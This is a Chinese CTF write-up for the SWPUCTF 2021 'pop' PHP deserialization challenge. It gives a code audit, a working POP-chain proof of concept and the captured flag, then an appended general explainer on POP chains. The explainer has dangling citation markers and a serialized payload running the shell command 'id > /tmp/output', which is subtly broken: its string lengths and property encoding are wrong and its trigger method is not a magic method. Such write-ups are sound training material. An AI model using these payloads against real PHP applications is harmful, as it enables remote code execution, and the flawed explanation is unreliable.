[SWPUCTF 2021 新生赛]pop

先进行代码审计:

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';    //!!!有private时,一定要进行url编码,否则有可能会出错

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){   
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}


//这段代码的意思就是,当admin的值w44m和passwd的值为08067时,输出flag
class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

//w22m类中,定义了一个变量w00m,和__destruct魔术方法,这个魔术方法在w22m销毁时调用,输出w00m的值

class w33m{
    public $w00m;
    public $w22m;         //这里定义了两个变量w00m和w22m
    public function __toString(){    //__toString()是一个魔术方法,用于将对象转换成字符串形式。
        $this->w00m->{$this->w22m}();    //调用w33m中w00m属性的w22m方法
        return 0;
    }
}

$w00m = $_GET['w00m'];    //用get方式传入w00m
unserialize($w00m);       //将w00m反序列化
  

我们要构造pop链,也就是反着来。

poc:

<?php
class w44m{
	private $admin = 'w44m';
    protected $passwd = '08067';
}
class w22m{
    public $w00m;
}
class w33m{
    public $w00m;
    public $w22m;
}
$a=new w22m();
$a->w00m=new w33m();
$a->w00m->w00m=new w44m();
$a->w00m->w22m='Getflag';
echo urlencode(serialize($a));
?>

运行结果:

最后将得到的结果传入

得到flag:NSSCTF{4bf68f1d-d723-4b87-b276-c879abf826ef}

参考链接:[SWPUCTF 2021 新生赛]pop-优快云博客

### CTF 中反序列化 POP 链的概念及应用 #### 什么是反序列化? 反序列化是指将存储的字节流转换回对象的过程。如果这个过程被恶意操控,则可能导致安全漏洞的发生。 #### 反序列化的常见起点、跳板和终点 在 CTF 的场景下,反序列化通常涉及以下几个关键部分: - **起点**:通常是可控输入进入程序的地方,例如 `unserialize()` 函数[^1]。 - **跳板**:中间可能经过多个类的方法调用,这些方法可以作为攻击路径的一部分。 - **终点**:最终目标是触发某个敏感操作,如执行命令或读取文件。 #### PHP 反序列化漏洞的核心机制 PHP 提供了一些特殊的魔术方法,在特定情况下会被自动调用。常见的魔术方法包括但不限于: - `__wakeup`:当对象被解序列化时调用。 - `__toString`:当尝试将对象转化为字符串时调用。 - `__destruct`:当销毁对象实例时调用。 这些魔术方法的存在使得攻击者可以通过精心构造的数据包来触发预期之外的行为[^2]。 #### 构造 POP 链的基础原理 POP (Property Oriented Programming) 链是一种技术手段,用于连接不同类之间的属性与方法调用来实现复杂的功能组合。具体来说: - 分析每一个可用类及其内部定义的所有函数是否有潜在利用价值; - 寻找能够相互配合形成链条关系的部分——即前一步的结果恰好满足下一步所需参数形式的情况; - 倒推出完整的执行流程直至达到控制危险行为的目的(如 eval 或 system 调用)[^3]。 以下是构建简单 POP Chain 的伪代码示例: ```php class VulnerableClass { public $cmd; function __construct($command){ $this->cmd=$command; } function executeCommand(){ shell_exec($this->cmd); } } // 利用了另一个类中的某些特性完成整个链路闭合 class HelperClass{ private $obj; function setObj(VulnerableClass $vuln_obj){ $this->obj = $vuln_obj; } function triggerExploit(){ $this->obj->executeCommand(); } } ``` 上述例子展示了如何通过设置合适的 `$cmd` 属性并触发相应事件从而达成远程代码执行的效果。 #### 实际案例分析 假设有一个 Web 应用接受用户上传数据并通过 `unserialize($_GET['data'])` 处理请求体内的信息。此时如果我们能提供如下结构的内容给服务器端解析: ```php O:9:"HelperClass":1:{s:3:"obj";O:14:"VulnerableClass":1:{s:3:"cmd";s:7:"id > /tmp/output";}} ``` 那么将会依次经历以下步骤: 1. 创建了一个名为 `HelperClass` 类型的对象实例,其成员变量 obj 初始化为指向另一实例. 2. 这个子对象属于类型 `VulnerableClass`,它携带了一条 Linux Shell Command 字符串"id". 3. 当后续逻辑触碰到 helper 对象上的任何动作都会间接导致 command execution 发生. 因此成功实现了从外部注入到本地任意指令运行的能力转化! --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值